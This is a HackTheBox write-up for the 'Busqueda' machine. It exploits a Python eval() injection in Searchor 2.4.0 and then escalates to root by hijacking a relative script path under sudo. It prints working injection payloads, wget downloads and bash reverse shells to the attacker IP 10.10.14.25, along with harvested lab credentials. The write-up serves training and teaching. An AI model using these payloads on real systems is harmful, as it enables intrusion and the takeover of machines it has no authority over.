Busqueda – HackTheBox Writeup
Machine Name: Busqueda
IP: 10.10.11.208
Difficulty: Easy
Summary
Busqueda is an easy machine that challenges you to read code, find the vulnerability, and craft syntactically correct payloads that suit the code when injected. The privilege escalation is straight forward and explores relative path hijacking through SUID scripts to get root.
Information Gathering
Nmap scan shows that port 22 (SSH) and port 80 (HTTP) are open. The web server running is Apache 2.4.52 and redirects to http://searcher.htb/ . Therefore, let’s add it to the /etc/hosts file.
When we visit the webpage, the footer gives information that the application is powered by Flask and “Searchor 2.4.0“.
If we try to search using a random query, we get a page that outputs the URL for the search query for the search engine selected.
To understand how this works, let’s try some naughty stuff by adding a single quote (blah’).
Interestingly, we get a blank page instead of the URL. This means that the we are able to break the code by injecting a quote.
Let’s look at the Github link of “Searchor”.
*Dad joke incoming* …I tried to find vulnerabilities related to “Searchor 2.4.0” using “searchor.htb” but luck did not favor me. I had to go through the Github history to find something interesting in the code. Obviously, if there was a vulnerability, there must have been a commit to fix it. As I went through the hard yards of reading the commits, I found this!
Spotting the Vulnerability
The eval() function of the Engine class is used to construct the query string being used in the URL. The parameters are quite obvious. Our injection point is the “query” parameter.
Why is eval() dangerous?
Python code can be executed using eval() since it is used to evaluate strings as Python expressions.
Exploiting the Eval()
We need to inject our payload such that it is still a valid expression in the code written. Therefore, the injection point “query” would need to start with a single quote and a comma, contain the payload, and finally end with a comma and a single quote to complete the expression. It would look like this:
blah',payload,'
To execute system commands, let’s import the os library and try the command, ls. We are able to see the output.
blah',__import__("os").system("ls"),'
We can craft the payload in various ways. The above method breaks the payload into 3 string literals that the eval() evaluates and executes as python strings.
In this case, the string literals are:
- ‘blah’
- import(“os”).system(“ls”)
- ‘ ‘
The payload is crafted such that the string literals are separated by a comma. Each of them are used as the respective arguments of the search method. Finally, the resulting eval() statement in code would look like this:
#Resulting eval() statement in code: url = eval( f"Engine.{engine}.search( 'blah',__import__("os").system(";s"),'', copy_url={copy}, open_web={open})" )
#Query using single quotes and comma separates into different string literals. blah',__import__("os").system("wget http://10.10.14.25:8080/busqueda"),' (OR) #Query using ) closes the search() and comment at the end. blah') and __import__("os").system("wget http://10.10.14.25:8080/busqueda")# (OR) #Query using + that concatenates the same argument but eval() executes it separately. blah'+__import__("os").system('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.25/1233 0>&1"')+' #Resulting eval() statement in code: url= eval( f"Engine.{engine}.search('blah') and __import__("os").system("ls)#, copy_url=copy, open_web=open)"
Getting User Shell
We can use this payload format to get a shell.
blah',__import__("os").system('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.25/1233 0>&1"'),'
Pwned user!
Privilege Escalation
If we look through the current directory (/var/www/app/) when we receive a shell, we can find a “.git” directory that contains a config file with credentials in it. It also reveals the subdomain “gitea.searcher.htb”.
Let’s SSH into the box to get a stable shell.
ssh svc@searcher.htb Password: jh1usoih2bkjaspwe92
As always, before we run linpeas, let’s try sudo -l.
sudo -l
The user can run the python script /opt/scripts/system-checkup.py as root and can only run it.
Running the script as root, it seems to be a checkup script that keeps track of docker containers.
Let’s list the running containers using the script:
sudo python3 /opt/script/system-checkup.py docker-ps
There are two containers running. Gitea and mysql instances.
Using docker instance command, we can find the configuration of the container.
sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' gitea/gitea:latest
We see that it is running on port 3000.
We can confirm the same by running a netstat command.
netstat -alnvp
To open this port on the browser, we would need to forward that traffic to our machine. Let’s use SSH’s tunnel to do that.
ssh -L 3000:localhost:3000 svc@searcher.htb
Once we have access to the port 3000, we can add “gitea.searcher.htb” to /etc/hosts.
We could try to sign in with svc’s credentials but unfortunately, they do not work.
Next, let’s also look at the mysql_db’s docker inspect.
Yay! We find the credentials for the mysql user gitea. Maybe we could try these in the Gitea login page.
MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF,MYSQL_USER=gitea,MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh,MYSQL_DATABASE=gitea mysql -h 172.19.0.2 -u gitea -p yuiu1hoiu4i5ho1uh
The credentials “administrator:yuiu1hoiu4i5ho1uh” work.
We can see that the scripts folder contains the “system-checkup.py” script which can be run as root. We weren’t able to read it before, but now we can!
The path defined for running “full-checkup.sh” is relative. We could add a malicious full-checkup.sh script in the directory we run the script from and get a shell as root.
Finally, we can put the reverse TCP bash payload in the full-checkup.sh file, and run the system-checkup.py command as root and get a root shell.
vi full-checkup.sh #!/bin/bash bash -i >& /dev/tcp/10.10.14.25/1234 0>&1 chmod +x full-checkup.sh nc -lvnp 1234 sudo python3 /opt/scripts/system-checkup.py full-checkup
Pwned root!
Lessons Learned
- More often than not, injection attacks are prevalent due to improper sanitization of user input.
- One interesting thing about this vulnerability is that it demonstrates the dangers of using eval() or exec() functions in Python without proper input validation.
- Additionally, it is important to keep software and libraries up-to-date to ensure that known vulnerabilities are patched.
- Relative path hijacks are getting old in CTFs. Stop using them in CTFs.